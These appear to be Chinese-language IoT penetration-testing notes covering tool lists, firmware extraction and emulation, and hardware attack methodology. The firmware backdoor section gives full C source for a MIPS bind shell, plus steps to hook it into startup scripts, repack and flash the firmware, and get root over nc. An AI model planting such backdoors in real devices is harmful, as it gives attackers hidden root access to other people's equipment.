IOT渗透测试总结
1. 工具
1.1 固件分析
- Binwalk
- Firmadyne
- Angr
- Firmware-mod-tookit
- Firmware Analysis Toolkit
- GDB
- Radare2
- Binary Analysus Tool(BAT)
- Qemu
- IDA Pro
1.2 Web渗透测试工具
- Burp Suite
- OWASP Zed Attsvk Proxy(ZAP)
- PEST Easy Firefox Plugin
- Postman Chrome Extension
1.3 移动应用渗透测试工具
- Android
- Android SDK
- JD-GUI
- JEB
- SQLite Browser
- Burp Suite
- OWASP ZAP
- IOS
- IDB
- Xcode Tools
- CLass-Dump
- Hopper
- Mob-SF
- SQLite Browser
- Burp Suite
- OWASP ZAP
- Cydia (以下应用需要越狱环境)
- OpenURL
- DumpDecrypted
- Ipainstaller
- SSL KILL Switch 2
- Clutch 2
- Cycript
1.4 硬件工具
- 万用表
- 用于硬件拆解的IFixit clasic pro tech toolkit工具套装
- Bus Pirate
- USB转串口转接器:Shikra、FTDIDT232、CP2012、PL2303、Adafruit FTDI Friend
- JTAG接口转接器:Shikra、JTAGulator、Arduino with JTAGenum、JLINK、Bus Blaster
- 逻辑分析仪
1.5 硬件分析工具
- OpenOCD
- Spiflash
- Minicom
- Baudrate
1.6 无线电分析硬件工具
- Atmel RZ Raven
- Attify Badge
- HackRF One
- Yardstick One
- 带有Xbee Shield模块的XBee扩展版
- Ubertooth
- BLE适配器
1.7 无线电分析软件
- KillerBee框架
- Attify ZigBee框架
- GUN Radio
- GQRX
- Ubertooth tools
- Blue Hydra
- RTL-sdr
- Hackrf packages
- EZ-ware
2. 固件分析
固件中的内部组织包括boot-loader、内核、文件系统以及其他内容。
文件系统主要关注内容:
- 口令
- API Token
- URL
- 存在漏洞的服务
- 后门账户
- 配置文件
- 源代码
- 私钥
- 数据存储方式
2.1 固件提取
从厂商网站下载
代理或设备更新时的流量
ettercap+wireshark
直接从设备转储固件
通过UART、SPI、JTAG接口直接转储或闪存芯片读取
Google搜索
2.2 文件系统读取
以Squashfs系统为例,头部特征字符串较多,目前已知7种:
- 标准固件大端序模式位-sqsh
- 标准固件小端序模式-hsqs
- LZMA压缩下的大端模式-sqlz
- 3.3版本的Squashfs文件系统在LZMA压缩下的大端序模式-qshs
- 部门非标准固件小端序模式-shsq(多为D-Link固件)
- DD-WRT固件小端序模式-hsqt
- DD-WRT固件大端序模式-tqsh
2.2.1 Squashfs文件系统提取
2.2.1.1 unSquashfs提取
根据特征值使用hexdump获取Squashfs文件系统起始地址。
hexdump -c xxxx.trx |grep -i ‘hsqs’
dd转存文件系统
dd if=xxx bs=1 skip=xxx of=xx
二进制文件提取文件系统
Unsquashfs xxxx
2.2.1.2 binwalk提取
binwalk提取与第一种提取思路一样,binwalk会判断目标文件系统,根据特征值进行转存,然后从二进制种提取文件系统
binwalk -Me xxx
2.3 文件系统分析
2.3.1 手工分析
find *.conf查找配置文件。
查找key、ras、des、cer等关键字。
2.3.2 自动化
自动搜索敏感信息
2.3.3 固件仿真动态分析
Firmware Analysis Toolkit(FAT)采用Firmadyne工具实现镜像仿真。
Firmadyne底层基于QEMU虚拟机,用户能够对整个系统架构进行仿真并在该架构之上运行固件。
FAT脚本能够执行的操作:
- 从固件系统提取文件系统
- 获取固件架构
- 制作所需镜像
- 网络设置
- 镜像仿真
2.3.4 二进制逆向分析
Radar2、IDA、Hopper
2.3.5 后门植入
firmware-mod-kit(FMK),支持从固件提取文件系统,对其修改后重新打包。
extract-firmware.sh -文件系统提取
提取后包括rootfs、image_part和logs等文件,其中rootfs中包含了固件中的整套文件系统,我们需要做的是在固件中添加后门,然后找到固件启动后自动调用后门的方法。
readelf查看文件文件系统内的可执行文件,判断是大端架构还是小端架构
使用MIPS交叉编译器编译后门源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SERVER_PORT 9999
/* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
* Bind Shell using Fork for my TP-Link mr3020 router running busybox
* Arch : MIPS
* mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc
*/
int main() {
int serverfd, clientfd, server_pid, i = 0;
char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
char *args[] = { "/bin/busybox", "sh", (char *) 0 };
struct sockaddr_in server, client;
socklen_t len;
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
server.sin_addr.s_addr = INADDR_ANY;
serverfd = socket(AF_INET, SOCK_STREAM, 0);
bind(serverfd, (struct sockaddr *)&server, sizeof(server));
listen(serverfd, 1);
while (1) {
len = sizeof(struct sockaddr);
clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
server_pid = fork();
if (server_pid) {
write(clientfd, banner, strlen(banner));
for(; i <3 /*u*/; i++) dup2(clientfd, i);
execve("/bin/busybox", args, (char *) 0);
close(clientfd);
} close(clientfd);
} return 0;
}将编译好的二进制文件放到文件系统中,修改/etc/scripts下的system.sh
1
/etc/binshell //bindshell为编译后的后门二进制文件
重新打包
1
build-firmware.sh 文件名 -nopad -min
Firmware-name/文件下生成新的固件
安装固件,使用nc连接,获得root权限shell
3. 设备攻击
硬件攻击主要涉及以下步骤:
- 信息收集与分析
- 设备的外部分析与内部分析
- 通信接口识别
- 硬件通讯技术获取数据
- 基于硬件漏洞利用方法的软件漏洞利用
- 后门植入
3.1 信息收集与分析
对于某一特定设备而言,可以通过一系列方法获取相关目标设别的信息,此时的信息来源既包括公开查询的信息,也可以是从客户手里或者其他渠道获取的文档。
涉及的信息主要包括:
- 嵌入式设备基于哪种架构?
- 该设备运行在何种操作系统上?
- 该设备支持哪些外设?
- 该设备采用了哪些芯片组?
- 设备采用的存储与内存的实现方面的细节。
- 关于设备的其他相关技术信息。
3.2 外部分析与内部分析
获取设备信息后,下一步针对设备自身开展分析工作,这一步的目的在于从攻击者的视角来观察设备,并从外部和内部观察,尽可能获取更多的信息。
外部分析只需要查看设备的外观,搞清楚每个组件的作用。
设备有哪些接口,是否提供USB接口、SD卡槽或以太网口?
设备如何供电,电池、POE还是电源适配器?
设备设否有标签?有标签的话,包含了哪些信息?
完成外部分析后,下一步就是对设备进行内部分析,需要打开外壳观察PCB板,这一步骤我们需要识别出设备所采用的各种芯片组,继而在芯片数据手册中查找对应的芯片组,了解每个组件的功能,同时将芯片数据手册中找到的各种信息做好记录。
3.3 通信接口识别
有一些设备接口显而易见,可以轻松识别,但是另外一些情况下,通信接口可能会分布PCB的不同位置,所以识别起来可能会困难一下,还有些情况下需要自行连接到芯片的引脚排针才能识别的接口类型。
3.4 硬件通信技术获取数据
识别出硬件采用的通信协议后与接口后,就可以借助专门工具通过特定协议与目标设备进行通信,并且与目标设备进行交互或读写芯片信息。
测试过程中常用到的接口包括UART、JTAG、SPI、I2C、SWD、RDI以及1-Wire
3.5 硬件分析
查看PCB并识别出板上的所有芯片,查看芯片标签时,可以将芯片稍微倾斜,使用USB电子显微镜或者手机闪光灯查看标签设备。
如果识别出了芯片,可以在Google输入该芯片的制造厂商,再加上芯片型号以及datasheet(芯片数据手册),尝试搜索芯片的数据手册。
获得芯片数据手册后,可以使用手册中的信息识别出目标芯片的所有特征,包括引脚定义。